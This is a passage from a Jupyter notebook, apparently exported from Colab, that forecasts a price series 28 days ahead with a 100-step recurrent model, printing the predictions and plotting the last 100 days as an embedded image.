0.15003049 0.15064037 0.14860744 0.14596463\n", + " 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966\n", + " 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517\n", + " 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852\n", + " 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199\n", + " 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605 0.17453894\n", + " 0.17667189 0.17877619 0.180852 0.18289991 0.18492067 0.18691507\n", + " 0.18888383 0.19082795 0.19274837 0.19464624 0.19652267 0.1983788\n", + " 0.20021565 0.20203416 0.20383513 0.20561932 0.20738736 0.20913981\n", + " 0.21087711 0.21259975 0.21430814 0.2160026 ]\n", + "27 day output [[0.21768355]]\n", + "[[0.16536451876163483], [0.16787290573120117], [0.1701708883047104], [0.17237605154514313], [0.17453894019126892], [0.17667189240455627], [0.17877618968486786], [0.1808519959449768], [0.18289990723133087], [0.18492066860198975], [0.1869150698184967], [0.18888382613658905], [0.19082795083522797], [0.19274836778640747], [0.19464623928070068], [0.19652266800403595], [0.1983788013458252], [0.2002156525850296], [0.20203416049480438], [0.203835129737854], [0.20561932027339935], [0.20738735795021057], [0.20913980901241302], [0.21087710559368134], [0.2125997543334961], [0.21430814266204834], [0.21600259840488434], [0.2176835536956787]]\n" + ] + } + ], + "source": [ + "temp_input = list(x_input)\n", + "temp_input = temp_input[0].tolist()\n", + "\n", + "lst_output=[]\n", + "n_steps=100\n", + "nextNumberOfDays = 28\n", + "i=0\n", + "\n", + "while(i100):\n", + " x_input=np.array(temp_input[1:])\n", + " print(\"{} day input {}\".format(i,x_input))\n", + " x_input=x_input.reshape(1,-1)\n", + " x_input = x_input.reshape((1, n_steps, 1))\n", + " yhat = model.predict(x_input, verbose=0)\n", + " print(\"{} day output {}\".format(i,yhat))\n", + " temp_input.extend(yhat[0].tolist())\n", + " temp_input=temp_input[1:]\n", + " lst_output.extend(yhat.tolist())\n", + " i=i+1\n", + " else:\n", + " x_input = x_input.reshape((1, n_steps,1))\n", + " yhat = model.predict(x_input, verbose=0)\n", + " print(yhat[0])\n", + " temp_input.extend(yhat[0].tolist())\n", + " print(len(temp_input))\n", + " lst_output.extend(yhat.tolist())\n", + " i=i+1\n", + " \n", + "\n", + "print(lst_output)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "OG0n_yXDPWNQ" + }, + "outputs": [], + "source": [ + "day_new = np.arange(1,101)\n", + "day_pred = np.arange(101,129)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "crx3gmtHPWSm", + "outputId": "817ed5d3-86e1-4467-9027-c480f281333f" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(100,)" + ] + }, + "execution_count": 40, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "day_new.shape" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "0JeMhKxfPWXc", + "outputId": "be5e2267-5a8c-4e48-cc09-35ca2755afe5" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(28,)" + ] + }, + "execution_count": 41, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "day_pred.shape" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "FkIESGdOPvMo", + "outputId": "9d591434-5664-4469-a7e7-d26e22d16071" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "2035" + ] + }, + "execution_count": 42, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "ds3 = df_high.tolist()\n", + "ds3.extend(lst_output)\n", + "len(df_high)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "kahnKfbOQXCE" + }, + "source": [ + "**Graph of actual values in last 100 days**" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 377 + }, + "id": "RYKgCe1wPwAG", + "outputId": "c5dc3e7f-82c1-4847-e723-083ef1ed8de0" + }, + "outputs": [ + { + "data": { + "image/png": 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